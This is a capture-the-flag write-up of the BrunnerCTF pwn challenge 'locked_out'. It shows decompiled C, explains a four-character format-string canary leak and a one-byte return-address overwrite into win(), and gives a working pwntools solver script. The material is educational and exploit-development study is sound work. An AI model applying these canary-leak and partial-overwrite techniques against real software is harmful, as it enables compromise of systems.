← Back to Writeups
PWNMedium2026

Pwn — Locked Out

#format-string#buffer-overflow#canary-leak#ret2win

Challenge Info

Name: locked_out
Event: BrunnerCTF
Author: Togby & Nissen
Points: 100

Overview

$ checksec --file=locked_out

RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    PIE enabled

All protections on — no shellcode, no fixed addresses.

Vulnerability

After decompiling the binary, we find that main() eventually calls the following function:

c
void play(void)
{
    undefined4 uVar1;
    int32_t iVar2;
    uint8_t auVar3[4];
    int64_t in_FS_OFFSET;
    char *format;
    int32_t var_14h;
    int64_t canary;
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    var_14h = 4;
    uVar1 = time(0);
    srand(uVar1);
    iVar2 = rand();
    pincode = (uint8_t [4])(iVar2 % 10000);
    do {
        if (var_14h < 1) {
            code_r0x0000138d:
            if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
                __stack_chk_fail();
            }
            return;
        }
        memset(&format, 0, 5);
        printf("Please enter PIN: ");
        read(0, &format, 0x20);
        format._4_1_ = 0;
        auVar3 = (uint8_t [4])atoi(&format);
        if (auVar3 == pincode) {
            puts("Correct! Door is unlocked.");
            goto code_r0x0000138d;
        }
        var_14h = var_14h + -1;
        printf(&format);
        printf(" is wrong! %d tries left.\n\n", var_14h);
    } while( true );
}

The program asks the user to guess a PIN, when the correct PIN is provided, the application only prints a success message and exits the function normally. The hidden win() routine is never invoked. Although the PIN is generated using rand() % 10000 seeded with the current time, making it relatively easy to predict, obtaining it does not lead to code execution or flag disclosure.

When a wrong PIN is entered, user input is passed directly to printf(), creating a format string vulnerability. Under normal circumstances this would allow extensive stack disclosure, but the program truncates the input by setting buf[4] to a null byte immediately after reading it. This restriction limits the format string to four characters, meaning only compact specifiers such as %9$p can be used. Even with this limitation, the bug remains sufficient for leaking important stack values.

The critical vulnerability is a stack-based buffer overflow. The application reads up to 32 bytes of user-controlled data into a buffer that is smaller than the amount being read:

c
read(0, buf, 0x20);

Since win() (0x13da) and the real return address in main() (0x13bf) sit on the same 4 KB page of the PIE binary, only the lowest byte of the return address needs to change (0xbf -> 0xda), the rest is unaffected by ASLR, since PIE bases are always page-aligned.

Canary leak with %9$p, then place the leaked value back at buf+12 to bypass the canary check.

tries : Set buf+8 to 0. After tries--, it becomes negative, making tries > 0 false and allowing the function to return into win().

Solver

python
from pwn import *

context.log_level = 'info'

p = process("./locked_out")
p.recvuntil(b"PIN: ")
p.send(b"%9$p")
line = p.recvline()
canary = int(line.split(b' ')[0], 16)
log.info("leaked canary = %#x" % canary)

payload = b"A" * 4
payload += b"B" * 4
payload += p32(0)
payload += p64(canary)
payload += b"C" * 8
payload += b"\xda"

p.recvuntil(b"PIN: ")
p.send(payload)

out = p.recvall(timeout=5)
print(out.decode(errors="replace"))

Flag

brunner{REDACTED}